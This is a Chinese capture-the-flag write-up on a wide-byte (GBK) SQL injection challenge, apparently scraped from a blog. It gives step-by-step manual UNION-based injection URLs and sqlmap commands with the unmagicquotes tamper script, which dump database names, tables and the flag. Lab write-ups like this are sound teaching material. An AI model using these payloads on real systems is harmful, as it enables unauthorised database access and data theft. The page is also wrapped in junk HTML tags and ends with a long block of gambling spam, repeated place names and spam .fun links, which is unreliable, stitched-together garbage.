<address id="bxxfd"><dfn id="bxxfd"></dfn></address>

<dl id="bxxfd"><video id="bxxfd"></video></dl>

<sub id="bxxfd"><delect id="bxxfd"><ins id="bxxfd"></ins></delect></sub>

      <address id="bxxfd"><var id="bxxfd"></var></address>
      <sub id="bxxfd"><dfn id="bxxfd"><ins id="bxxfd"></ins></dfn></sub>

      <form id="bxxfd"><listing id="bxxfd"></listing></form>

      <thead id="bxxfd"><delect id="bxxfd"><output id="bxxfd"></output></delect></thead>

      <thead id="bxxfd"><var id="bxxfd"><output id="bxxfd"></output></var></thead><sub id="bxxfd"><var id="bxxfd"><output id="bxxfd"></output></var></sub>
      <sub id="bxxfd"><var id="bxxfd"><ruby id="bxxfd"></ruby></var></sub>
      <address id="bxxfd"><dfn id="bxxfd"></dfn></address>

      (宽字节注入) 手注+sqlmap

      进入题目后先简单尝试一下。

      分享图片

       

      很明显的宽字节注入。

      宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

      手工注入
      1、判断列数:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
      order by 3 时报错,说明只有两列。

      2、各类信息:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
      [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

      3、库名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
      sae-chinalover

      4、表名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,group_concat(table_name)
      from information_schema.tables
      where table_schema=database()%23
      ctf,ctf2,ctf3,ctf4,news

      5、ctf4表的列名:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,group_concat(column_name)
      from information_schema.columns
      where table_name=0x63746634%23
      id,flag

      这里注意:要将表名ctf4转为16进制

      这里提供一个字符串转16进制的网站:

      http://www.5ixuexiwang.com/str/hex.php

      转了16进制之后记得在前面加上0x

      6、flag列的数据:
      http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
      union select 2,(select flag from ctf4)%23
      flag{this_is_sqli_flag}

      sqlmap跑法
      1、查看有哪些库:
      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
      这个时侯就要用到一个脚本了:

      脚本名:unmagicquotes.py

      作用:宽字符绕过

      分享图片

       

       

      2、表名:

      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

      分享图片

       

       

      3、列名:

      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

       分享图片

       

       

      4、flag列的数据:
      sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

      分享图片

      相关文章
      相关标签/搜索
      三十码期期必中√资料2020年香港马会最快手机报码开奖结果现场直播历史查询记录二四六天天好彩免费资料大全网 鄂温| 宣恩县| 革吉县| 台州市| 沅江市| 长岭县| 太白县| 高平市| 宁安市| 兖州市| 四川省| 平阴县| 岳西县| 英吉沙县| 上饶市| 磐石市| 青铜峡市| 永寿县| 江陵县| 简阳市| 巴林右旗| 资源县| 固镇县| 东海县| 德令哈市| 余江县| 通化市| 平乡县| 昌吉市| 昌图县| 巴塘县| 巴林左旗| 台江县| 疏附县| 蛟河市| 南皮县| 楚雄市| 天等县| 旬邑县| 阳泉市| 乐山市| 中西区| 冀州市| 昌邑市| 西盟| 华安县| 那坡县| 绥德县| 铜梁县| 马关县| 双峰县| 安泽县| 旬邑县| 松阳县| 囊谦县| 廊坊市| 信宜市| 白沙| 茶陵县| 老河口市| 南和县| 拉孜县| 兴国县| 长宁区| 吴忠市| 建德市| 鄱阳县| 庄浪县| 西乌珠穆沁旗| 广平县| 磴口县| 泰宁县| 开化县| 株洲市| 玉山县| 涟源市| 翁源县| 常山县| 伊吾县| 肥城市| 常州市| 吉首市| 合山市| 巴楚县| 颍上县| 五华县| 宜宾县| 绥德县| 枣强县| 宁海县| 开平市| 剑阁县| 天等县| 乌拉特后旗| 城固县| 盘锦市| 望谟县| 射阳县| 临邑县| 龙州县| 临武县| 乳源| 宁城县| 大城县| 叶城县| 星座| 青河县| 安宁市| 肥城市| 饶阳县| 越西县| 勃利县| 桃江县| 儋州市| 重庆市| 湄潭县| 海南省| 陇川县| 都江堰市| 红桥区| 蒲城县| 星子县| 台东县| 嘉禾县| 秦安县| 阿瓦提县| 荆州市| 茌平县| 武平县| 阜阳市| 吴堡县| 信丰县| 文山县| 阜宁县| 永昌县| 栖霞市| 华亭县| 藁城市| 永吉县| 葫芦岛市| 东山县| 舞阳县| 高台县| 黄冈市| 杭锦旗| 神木县| 呼玛县| 青神县| 海宁市| 榆林市| 景德镇市| 阜新| 津市市| 襄樊市| 宣恩县| 云阳县| 南乐县| 射阳县| 定襄县| 江川县| 浦城县| 台东县| 鄂州市| 江华| 鸡泽县| 景泰县| 奉新县| 墨竹工卡县| 都昌县| 呈贡县| 息烽县| 五指山市| 正蓝旗| 错那县| 海丰县| 姜堰市| 长子县| 惠州市| 巴马| 盐源县| 滕州市| 长顺县| 石河子市| 宜城市| 西昌市| 平利县| 扶绥县| 虹口区| 尼玛县| 鹰潭市| 铁岭县| 剑川县| 凤台县| 滨州市| 永顺县| 阿图什市| 肇庆市| 长武县| 张掖市| 岐山县| 大足县| 临颍县| 乌拉特前旗| 容城县| 福海县| 广州市| 合阳县| 平定县| 青冈县| 武平县| 井研县| 南投县| 城市| 垫江县| 河南省| 苍山县| 诏安县| 满洲里市| 襄城县| 井陉县| 菏泽市| 泽库县| 西乌| 宾川县| 伊通| 周口市| 湖北省| 高唐县| 勃利县| 丰镇市| 白水县| 绵竹市| 湖南省| 稷山县| 成武县| 宁蒗| 宣威市| 玛曲县| 邢台县| 富锦市| 湖北省| 广州市| 竹山县| 大关县| 株洲市| 南昌县| 广宗县| 璧山县| 襄垣县| 岑溪市| 句容市| 洪江市| 新丰县| 买车| 长葛市| 昭平县| 金川县| 南充市| 乐平市| 昌邑市| 济南市| 托克托县| 永州市| 洮南市| 雅安市| 隆化县| 建始县| 洛川县| 阿拉善盟| 玉环县| 黄梅县| 绵阳市| 新兴县| 阜宁县| 沙田区| 都江堰市| 达拉特旗| 石门县| 延寿县| 柳江县| 视频| 曲周县| 东莞市| 会理县| 沁源县| 宣化县| 西盟| 桐柏县| 东港市| 大英县| 武鸣县| 罗定市| 绥滨县| 双辽市| 元朗区| 弥勒县| 仪征市| 岳阳市| 铁力市| 廉江市| 马龙县| 宾川县| 丁青县| 资中县| 南丰县| 巴彦县| 榆社县| 云阳县| 永吉县| 镇雄县| 临城县| 泾源县| 芜湖市| 来凤县| 玉溪市| 运城市| 泊头市| 湾仔区| 麻江县| 濮阳市| 长乐市| 灵璧县| 麻栗坡县| 兖州市| 江永县| 林芝县| 隆化县| 邵阳县| 南川市| 白朗县| 波密县| 衡水市| 明水县| 开化县| 普兰店市| 射洪县| 汝南县| 定南县| 定兴县| 吴忠市| 河源市| 宁夏| 博客| 陆川县| 壤塘县| 敖汉旗| 彰武县| 房山区| 唐海县| 贺兰县| 攀枝花市| 无极县| 都兰县| 安多县| 信丰县| 马龙县| 鱼台县| 新源县| 衡山县| 礼泉县| 盐山县| 阳泉市| 台东县| 陇南市| 彭州市| 安福县| 昌平区| 五华县| 灵璧县| 东宁县| 洛隆县| 大连市| 盐津县| 新巴尔虎左旗| 通河县| 瑞安市| 鄂州市| 米易县| 沂南县| 驻马店市| 石狮市| 南和县| 新兴县| 宁城县| 万年县| 昭苏县| 濉溪县| 贵阳市| 浦北县| 福泉市| 都兰县| 鄂托克旗| 军事| 天峨县| 桂东县| 阜康市| 绥江县| 湘潭市| 安达市| 霍城县| 济南市| 崇州市| 开化县| 重庆市| 祥云县| 尖扎县| 南和县| 伊春市| 漳平市| 昌乐县| 资中县| 肥城市| 仙游县| 河曲县| 富宁县| 闽清县| 陇西县| 威海市| 宁河县| 綦江县| 弥渡县| 碌曲县| 盈江县| 乳源| 莲花县| 芜湖县| 饶河县| 屏南县| 手游| 齐河县| 辽阳县| 澄城县| 抚远县| 泸州市| 白山市| 梓潼县| 德令哈市| 新昌县| 贺州市| 沙雅县| 扎囊县| 拉萨市| 琼海市| 原平市| 雅安市| 句容市| 习水县| 壶关县| 镇安县| 长治县| 浮山县| 平邑县| 南岸区| 田东县| 四川省| 偃师市| 云霄县| 新干县| 库伦旗| 天镇县| 南开区| 阳春市| 封丘县| 阳高县| 怀集县| 阿拉善右旗| 上思县| 黄平县| 阳泉市| 九台市| 铁力市| 丽水市| 长乐市| 东宁县| 瑞安市| 上栗县| 康保县| 荔波县| 土默特右旗| 兴海县| 金华市| 肇庆市| 河津市| 万安县| 盐边县| 泸定县| 云龙县| 财经| 兴仁县| 老河口市| 汝阳县| 万安县| 冷水江市| 高安市| 台湾省| 遂川县| 扶风县| 牡丹江市| 澄江县| 临安市| 炎陵县| 淮滨县| 醴陵市| 卫辉市| 隆安县| 湘潭县| 辰溪县| 夏津县| 公主岭市| 三都| 商丘市| 藁城市| 万山特区| 松滋市| 甘谷县| 浮山县| 中山市| 巴塘县| 郴州市| 寻乌县| 天镇县| 温泉县| 饶平县| 南安市| 南陵县| 昌江| 蒙阴县| 洪洞县| 资兴市| 安新县| 衡阳县| 沿河| 和林格尔县| 名山县| 板桥市| 玉环县| 汝南县| 渝中区| 景洪市| 博爱县| 鹤壁市| 安福县| 保定市| 兴义市| 哈尔滨市| 太白县| 晋江市| 高雄市| 苍山县| 赫章县| 五家渠市| 墨竹工卡县| 原平市| 八宿县| 呼图壁县| 八宿县| 普定县| 临朐县| 和硕县| 鄄城县| 佛山市| 东海县| 巴中市| 河东区| 绩溪县| 南康市| 钟祥市| 鄢陵县| 衡东县| 涪陵区| 遂溪县| 瑞金市| 赤城县| 喀什市| 汉源县| 佛冈县| 建平县| 红安县| 常熟市| 新余市| 临夏市| 佛学| 余庆县| 铜梁县| 通海县| 盐源县| 项城市| 怀安县| 五指山市| 奉节县| 南平市| 灵台县| 仲巴县| 泰宁县| 金堂县| 遵化市| 德兴市| 武定县| 建平县| 海安县| 枞阳县| 鹤岗市| 滦南县| 滁州市| 太湖县| 龙游县| 甘德县| 清丰县| 清河县| 利川市| 鄂托克旗| 师宗县| 辽阳市| 贡嘎县| 翁牛特旗| http://www.jx1870fitv.fun http://wap.jx1870heatv.fun http://wap.jx1870fieldv.fun http://m.jx1870guessv.fun http://wap.hz0j4r9vo.fun http://m.jx1870enhancev.fun http://jx1870initialv.fun http://wap.hz0j3r1vo.fun http://m.jx1870enterv.fun http://jx1870ensurev.fun http://jx1870expressv.fun http://www.hz0j2r5vo.fun http://jx1870landv.fun http://wap.jx1870forestv.fun http://wap.hz0j0r0vo.fun http://www.jx1870generalv.fun http://jx1870filev.fun http://wap.jx1870fillv.fun